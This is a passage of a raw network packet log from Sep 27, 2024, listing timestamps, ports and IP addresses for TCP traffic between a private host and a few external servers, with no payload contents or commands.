Sep 27, 2024 16:18:21.717057943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717065096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717086077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717103004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717699051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717710972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717722893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717740059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717750072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717761040 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717768908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717778921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717788935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.717799902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.717809916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.717818022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717818022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717829943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.717839956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.717849970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.717863083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.717895031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718085051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718097925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718127012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718147993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718286991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718298912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718307972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718317986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718328953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718338013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718344927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718348980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718364954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718377113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718393087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718399048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718404055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718414068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718425035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718425989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718436003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718446016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718452930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718456030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718466043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718476057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718482971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718486071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718497992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718506098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718508959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718530893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718544006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718554020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718554020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718564987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718575001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718584061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718588114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718595028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.718611002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.718648911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719333887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719347000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719367981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719374895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719391108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719403028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719413042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719419003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719424009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719428062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719434023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719439983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719439983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719445944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719464064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719472885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719475031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719485998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719496965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719501019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719507933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.719517946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719530106 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719536066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719544888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719554901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719564915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.719571114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719578981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.719590902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719599009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.719620943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719633102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719644070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719651937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.719656944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719667912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.719676971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.719716072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.719739914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720042944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720087051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720283985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720294952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720304012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720314980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720324993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720340967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720350027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720360041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720370054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720381021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720391035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720397949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720397949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720408916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720419884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720431089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720439911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720448971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720457077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720457077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720469952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720474958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720484018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720494032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720504045 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720511913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720521927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720532894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720541000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720550060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720560074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720567942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720578909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720587969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720597029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720607042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720613956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720624924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720634937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720645905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.720655918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720685005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.720710993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721237898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721249104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721254110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721259117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721270084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721280098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721291065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721296072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721307039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721322060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721330881 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721340895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721349955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721359015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721369982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721379042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721389055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721400023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721406937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721406937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721416950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721431017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721437931 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721446991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721462011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721467018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721477032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721487045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721497059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721509933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721520901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721530914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.721554995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721554995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.721582890 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722033024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722105980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722251892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722263098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722271919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.722284079 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.722306013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722315073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722326994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722342014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722352028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722352982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.722362995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722373009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722383022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722383022 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:21.722392082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722392082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722403049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722413063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722420931 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722430944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722440958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722450972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722460032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722470045 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722480059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722491026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722498894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722507000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722517014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722527027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722533941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722543955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722548962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722559929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722568989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722577095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.722618103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.722618103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723217964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723228931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723237991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723248959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723261118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723264933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723275900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723292112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723303080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723309994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723320007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723330021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723340034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723352909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723356962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723356962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723366976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723381996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723395109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723400116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723406076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723412991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723423958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723433018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723439932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723449945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723459005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723465919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723475933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723481894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723490953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723501921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.723531961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723576069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.723992109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724052906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724221945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724232912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724244118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724253893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724262953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724275112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724281073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724292994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724297047 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724307060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724323034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724334955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724344969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724354982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724363089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724370956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724381924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724390984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724400997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724406958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724417925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724426031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724438906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724443913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724452972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724462986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724473000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724479914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724488974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724499941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724509954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724519968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724529028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724539995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.724562883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724562883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.724595070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725159883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725169897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725178957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725189924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725199938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725209951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725219965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725229979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725239992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725249052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725249052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725266933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725277901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725285053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725294113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725302935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725311041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725322008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725331068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725341082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725351095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725358009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725370884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725379944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725387096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725397110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725408077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725418091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725429058 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725429058 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725435972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725450039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725465059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725481987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725562096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.725601912 CEST	49610	45580	192.168.2.6	65.21.18.51
